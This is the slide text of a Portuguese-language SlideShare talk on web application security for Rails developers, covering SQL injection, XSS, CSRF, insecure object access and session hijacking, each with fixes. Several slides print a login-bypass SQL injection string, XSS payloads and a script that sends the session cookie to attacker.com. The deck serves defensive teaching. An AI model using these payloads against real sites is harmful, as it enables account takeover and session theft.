Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Segurança em aplicações web

300 views

Published on

Vamos citar algumas vulnerabilidades em aplicações web

Published in: Software
  • Be the first to comment

  • Be the first to like this

Segurança em aplicações web

  1. 1. Segurança em aplicações Web
  2. 2. Pródiga
  3. 3. User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
  4. 4. ' OR '1'='1 como nome e ' OR '2'>'1 como senha User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
  5. 5. User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’") ' OR '1'='1 como nome e ' OR '2'>'1 como senha SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
  6. 6. ' OR '1'='1 como nome e ' OR '2'>'1 como senha SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 Model.where("login = ? AND password = ?", entered_user_name, entered_password).first User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
  7. 7. ' OR '1'='1 como nome e ' OR '2'>'1 como senha SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 Model.where("login = ? AND password = ?", entered_user_name, entered_password).first Model.where(login: entered_user_name, password: entered_password).first User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
  8. 8. <img src=javascript:alert(‘Hello')> <table background="javascript:alert('Hello')">
  9. 9. <script>document.write(document.cookie);</script>
  10. 10. <script>document.write(document.cookie);</script> <script> document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">'); </script>
  11. 11. <script>document.write(document.cookie);</script> <script> document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">'); </script> GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
  12. 12. Como evitar
  13. 13. Como evitar flag httpOnly ao criar o cookie sanitizar inputs dos usuarios
  14. 14. Cross-Site Request Forgery
  15. 15. Como evitar
  16. 16. Como evitar usar metodos get e post corretamente usar token
  17. 17. <form action=“/remover-usuario“ method="post"> <input type="hidden" name="id" value="38"> <input type="date" name=“data-remocao”> <input type="submit" value="Remover"> </form>
  18. 18. <form action=“/remover-usuario“ method="post"> <input type="hidden" name="id" value="38"> <input type="hidden" name="csrf_token" value="71ACGD73OVxuza6yeAInUG0aOYEqf <input type="date" name=“data-remocao”> <input type="submit" value="Remover"> </form>
  19. 19. def edit @project = Project.find(params['id']) end
  20. 20. def edit @project = current_user.projects.find(params['id']) end
  21. 21. def edit @project = current_user.projects.find(params['id']) end http://www.fidelis.work/como-eu-usei-o-cartao-de-credito-do-ceo-do-trampos-co-para-pagar-minha-assinatura-premium/
  22. 22. Como capturar a sessão através de wi-fi inseguro através de terminais públicos XSS
  23. 23. Como evitar marcar cookies como httpOnly usar ssl Expirar a sessão
  24. 24. Onde aprender mais https://www.owasp.org/index.php/Main_Page http://guides.rubyonrails.org/security.html

×